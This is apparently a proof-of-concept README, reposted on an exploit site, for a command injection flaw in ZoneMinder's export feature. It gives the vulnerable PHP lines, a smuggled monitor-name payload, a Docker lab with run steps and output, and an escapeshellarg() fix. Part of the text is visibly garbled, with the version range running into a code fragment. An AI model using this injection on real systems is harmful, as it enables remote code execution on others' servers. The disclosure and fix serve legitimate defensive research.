Share
## https://sploitus.com/exploit?id=E4935DAF-02D0-5B8B-8773-0B42AAEF6852
# just wait and see

Proof of concept for an OS command injection vulnerability in ZoneMinder's event export functionality (`web/includes/download_functions.php`).

Monitor names are interpolated directly into shell commands using manual single-quote wrapping instead of `escapeshellarg()`. An attacker who can create a monitor can inject arbitrary shell commands that execute as `www-data`/whoever the process runs as when any user triggers an event export.

## Underlying causes

- Commit `44c5c3c` from Oct 4, 2023 this is where the `download_functions.php` file was introduced. The commit message is "Introduce new download mode that concats event videos into 1 file per monitor." The vulnerable code is present here, but required an administrator to create the monitor first.
- Commit `2d49e93` from Jan 2, 2024 "Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones." This is where things change a little. Now a user with just `Monitors=Create` can set up the monitor name for the attack, and any user with export permissions can trigger it.

Impacted versions: >= 1.37.48 (this has the SQL migration changes) and &1';
exec($cmd, $output, $return);
```

**Line 150 | tar/zip:**

```php
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;
```

Both reachable from the same carefully crafted monitor name regardless of export format.

### Requirements

- Docker
- Docker Compose

### Usage

```bash
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# wait for ZoneMinder to finish initializing (~30 seconds)
uv run poc.py
```

`init.sql` bootstraps the database with authentication enabled and two users:

- `medpriv` with monitor creation rights (and for time purposes, event creation rights as well, but that’s not necessary in production)
- `lowpriv` with event export access only

`uv run poc.py` runs the full chain:

1. `medpriv` authenticates via API and creates a monitor named `poc'; touch /tmp/pwned; echo '`
2. `medpriv` creates an event record to speed up the demo (in production, ZoneMinder does this automatically)
3. `lowpriv` authenticates and triggers an event export
4. Script checks `/tmp/pwned` inside the container and prints the result

Expected output:

```sh
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1

Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun  6 18:32 /tmp/pwned
```

### CVSS

**8.4 (High)**:`AV:N/AC:L/PR:R/UI:R/S:C/C:H/I:H/A:H`

We can debate on `PR:L` vs `PR:R`, but either way it’s a high-severity remote code execution vulnerability in a widely used open-source project. The attack surface is pretty broad, and the fact that the trigger can be set off by a different user than the one who sets up the monitor name adds an interesting twist to the exploitability. If we accept `PR:L`, it becomes a 9.0 (Critical).

Either way, at a minimum `escapeshellarg()` costs nothing.

### Disclosure

- 03/08/2026: Reported via ZoneMinder’s security contact email
- 03/09/2026: Patched in commit `b3a7c05`
- 06/08/2026: Public disclosure

> [!NOTE]
> Fixed within 12 hours of report. No acknowledgment from the maintainer that this is a security issue. I disagree

### Fix

Apply `escapeshellarg()` at both injection points at a minimum:

```php
// Line 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';

// Line 150
$command .= ' '.escapeshellarg($mergedFileName);
```

Lines 116 and 211 in `generateFileList()` have the same pattern.

---

*Discovered by ([@investigato](https://github.com/investigato))*  
*Full writeup: [scriptkittens.com](https://www.scriptkittens.com/blog/two-sinks-one-shell)*